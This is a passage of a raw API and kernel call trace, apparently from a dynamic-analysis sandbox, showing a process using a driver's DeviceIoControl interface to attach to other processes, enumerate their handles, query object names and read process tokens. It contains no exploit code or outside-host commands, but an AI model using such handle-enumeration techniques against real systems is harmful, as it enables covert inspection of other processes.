ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.507] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.507] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.507] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.507] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.507] PsAcquireProcessExitSynchronization () returned 0x0 [0093.507] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.508] ObReferenceObjectByHandle (in: Handle=0x23c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.508] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.508] PsReleaseProcessExitSynchronization () returned 0x2 [0093.508] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.508] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.508] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.508] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.508] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.508] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2c8) returned 0xc0 [0093.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.508] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80030fdb30, HandleInformation=0x0) returned 0x0 [0093.508] ObOpenObjectByPointer (in: Object=0xfffffa80030fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000810) returned 0x0 [0093.508] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0093.508] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000810, DesiredAccess=0x8, TokenHandle=0xfffffa8002534180 | out: TokenHandle=0xfffffa8002534180*=0xc8) returned 0x0 [0093.508] ZwClose (Handle=0xffffffff80000810) returned 0x0 [0093.508] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.508] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.508] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.510] CloseHandle (hObject=0xc8) returned 1 [0093.510] CloseHandle (hObject=0xc0) returned 1 [0093.510] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.510] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.510] PsAcquireProcessExitSynchronization () returned 0x0 [0093.510] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.510] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003102070, HandleInformation=0x0) returned 0x0 [0093.510] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.510] PsReleaseProcessExitSynchronization () returned 0x2 [0093.510] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.510] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.510] ObfDereferenceObject (Object=0xfffffa8003102070) returned 0x1 [0093.510] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.510] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.510] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.510] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.510] PsAcquireProcessExitSynchronization () returned 0x0 [0093.510] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.510] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031063b0, HandleInformation=0x0) returned 0x0 [0093.510] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.510] PsReleaseProcessExitSynchronization () returned 0x2 [0093.510] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.510] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.511] ObfDereferenceObject (Object=0xfffffa80031063b0) returned 0x1 [0093.511] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.511] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.511] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0093.511] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.511] PsAcquireProcessExitSynchronization () returned 0x0 [0093.511] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.511] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800311aa30, HandleInformation=0x0) returned 0x0 [0093.511] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.511] PsReleaseProcessExitSynchronization () returned 0x2 [0093.511] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.511] ObQueryNameString (in: Object=0xfffffa800311aa30, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.511] ObfDereferenceObject (Object=0xfffffa800311aa30) returned 0x2 [0093.511] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.511] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.511] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0093.511] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.511] PsAcquireProcessExitSynchronization () returned 0x0 [0093.511] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.511] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800311acd0, HandleInformation=0x0) returned 0x0 [0093.511] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.511] PsReleaseProcessExitSynchronization () returned 0x2 [0093.511] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.511] ObQueryNameString (in: Object=0xfffffa800311acd0, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.511] ObfDereferenceObject (Object=0xfffffa800311acd0) returned 0x1 [0093.511] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.511] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.511] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0093.511] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.512] PsAcquireProcessExitSynchronization () returned 0x0 [0093.512] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.512] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800311be90, HandleInformation=0x0) returned 0x0 [0093.512] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.512] PsReleaseProcessExitSynchronization () returned 0x2 [0093.512] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.512] ObQueryNameString (in: Object=0xfffffa800311be90, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.512] ObfDereferenceObject (Object=0xfffffa800311be90) returned 0x1 [0093.512] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.512] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.512] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0093.512] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.512] PsAcquireProcessExitSynchronization () returned 0x0 [0093.512] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.512] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003124d10, HandleInformation=0x0) returned 0x0 [0093.512] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.512] PsReleaseProcessExitSynchronization () returned 0x2 [0093.512] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.512] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.512] ObfDereferenceObject (Object=0xfffffa8003124d10) returned 0x1 [0093.512] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.512] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.512] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0093.512] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.512] PsAcquireProcessExitSynchronization () returned 0x0 [0093.512] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.512] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003124b80, HandleInformation=0x0) returned 0x0 [0093.512] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.512] PsReleaseProcessExitSynchronization () returned 0x2 [0093.512] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.512] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.512] ObfDereferenceObject (Object=0xfffffa8003124b80) returned 0x1 [0093.512] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.513] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.513] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0093.513] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.513] PsAcquireProcessExitSynchronization () returned 0x0 [0093.513] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.513] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800c0d0cb0, HandleInformation=0x0) returned 0x0 [0093.513] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.513] PsReleaseProcessExitSynchronization () returned 0x2 [0093.513] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.513] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.513] ObfDereferenceObject (Object=0xfffffa800c0d0cb0) returned 0x12 [0093.513] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.513] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.513] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.513] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.513] PsAcquireProcessExitSynchronization () returned 0x0 [0093.513] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.513] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800306e070, HandleInformation=0x0) returned 0x0 [0093.513] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.513] PsReleaseProcessExitSynchronization () returned 0x2 [0093.513] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.513] ObQueryNameString (in: Object=0xfffffa800306e070, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.513] ObfDereferenceObject (Object=0xfffffa800306e070) returned 0x2 [0093.513] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.513] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.513] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0093.513] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.513] PsAcquireProcessExitSynchronization () returned 0x0 [0093.513] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.514] ObReferenceObjectByHandle (in: Handle=0x194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003122070, HandleInformation=0x0) returned 0x0 [0093.514] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.514] PsReleaseProcessExitSynchronization () returned 0x2 [0093.514] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.514] ObQueryNameString (in: Object=0xfffffa8003122070, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.514] ObfDereferenceObject (Object=0xfffffa8003122070) returned 0x2 [0093.514] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.514] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.514] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.514] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.514] PsAcquireProcessExitSynchronization () returned 0x0 [0093.514] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.514] ObReferenceObjectByHandle (in: Handle=0x19c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031228d0, HandleInformation=0x0) returned 0x0 [0093.514] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.514] PsReleaseProcessExitSynchronization () returned 0x2 [0093.514] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.514] ObQueryNameString (in: Object=0xfffffa80031228d0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.514] ObfDereferenceObject (Object=0xfffffa80031228d0) returned 0x2 [0093.514] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.514] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.514] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.514] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.514] PsAcquireProcessExitSynchronization () returned 0x0 [0093.514] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.514] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003167360, HandleInformation=0x0) returned 0x0 [0093.514] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.514] PsReleaseProcessExitSynchronization () returned 0x2 [0093.514] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.514] ObQueryNameString (in: Object=0xfffffa8003167360, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.515] ObfDereferenceObject (Object=0xfffffa8003167360) returned 0x2 [0093.515] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.515] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.515] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.515] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.515] PsAcquireProcessExitSynchronization () returned 0x0 [0093.515] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.515] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003169bb0, HandleInformation=0x0) returned 0x0 [0093.515] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.515] PsReleaseProcessExitSynchronization () returned 0x2 [0093.515] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.515] ObQueryNameString (in: Object=0xfffffa8003169bb0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.515] ObfDereferenceObject (Object=0xfffffa8003169bb0) returned 0x2 [0093.515] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.515] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.515] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, 